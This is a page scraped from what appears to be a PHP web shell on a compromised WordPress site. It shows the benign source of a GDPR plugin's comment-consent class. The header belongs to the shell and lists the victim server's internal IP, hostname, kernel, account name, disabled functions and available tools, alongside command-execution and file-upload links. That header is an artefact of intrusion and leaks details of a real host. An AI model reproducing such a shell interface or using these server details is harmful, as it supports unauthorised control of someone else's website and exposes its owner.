|
Server IP : 10.131.40.8 / Your IP : 216.73.216.15 Web Server : Apache System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 User : ludmqhh ( 137773) PHP Version : 8.4.10 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ludmqhh/www/hotel-forum/wp-content/plugins/stm-gdpr-compliance/includes/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
namespace STM_GDPR\includes\plugins;
use STM_GDPR\includes\Helpers;
class WordPress
{
const SLUG = 'wordpress';
private static $instance = null;
public function addCheckbox( $submit = '' ) {
$checkbox = apply_filters(
STM_GDPR_PREFIX . 'wordpress_checkbox',
'<p class="' . STM_GDPR_SLUG . '-checkbox"><label><input type="checkbox" name="' . STM_GDPR_SLUG . '" id="' . STM_GDPR_SLUG . '" value="1" />' . Helpers::checkboxText(self::SLUG) . ' <abbr class="required" title="' . esc_attr__('required', STM_GDPR_SLUG) . '">*</abbr></label></p>',
$submit
);
return $checkbox . $submit;
}
public function displayError() {
if (!isset($_POST[STM_GDPR_SLUG])) {
wp_die(
'<p>' . sprintf(
__('<strong>ERROR</strong>: %s', STM_GDPR_SLUG),
Helpers::errorMessage(self::SLUG)
) . '</p>',
__('Comment Submission Failure'),
array('back_link' => true)
);
}
}
public function addCommentMeta($commentId = 0) {
if (isset($_POST[STM_GDPR_SLUG]) && !empty($commentId)) {
add_comment_meta($commentId, STM_GDPR_SLUG, time());
}
}
public function displayMetaColumn($columns = array()) {
$columns[STM_GDPR_SLUG] = __('GDPR Accepted On', STM_GDPR_SLUG);
return $columns;
}
public function displayCommentOverview($column = '', $commentId = 0) {
if ($column === STM_GDPR_SLUG) {
$date = get_comment_meta($commentId, STM_GDPR_SLUG, true);
$value = (!empty($date)) ? Helpers::localDate(get_option('date_format') . ' ' . get_option('time_format'), $date) : __('Not accepted.', STM_GDPR_SLUG);
echo $value;
}
return $column;
}
public static function getInstance() {
if (!isset(self::$instance)) {
self::$instance = new self();
}
return self::$instance;
}
}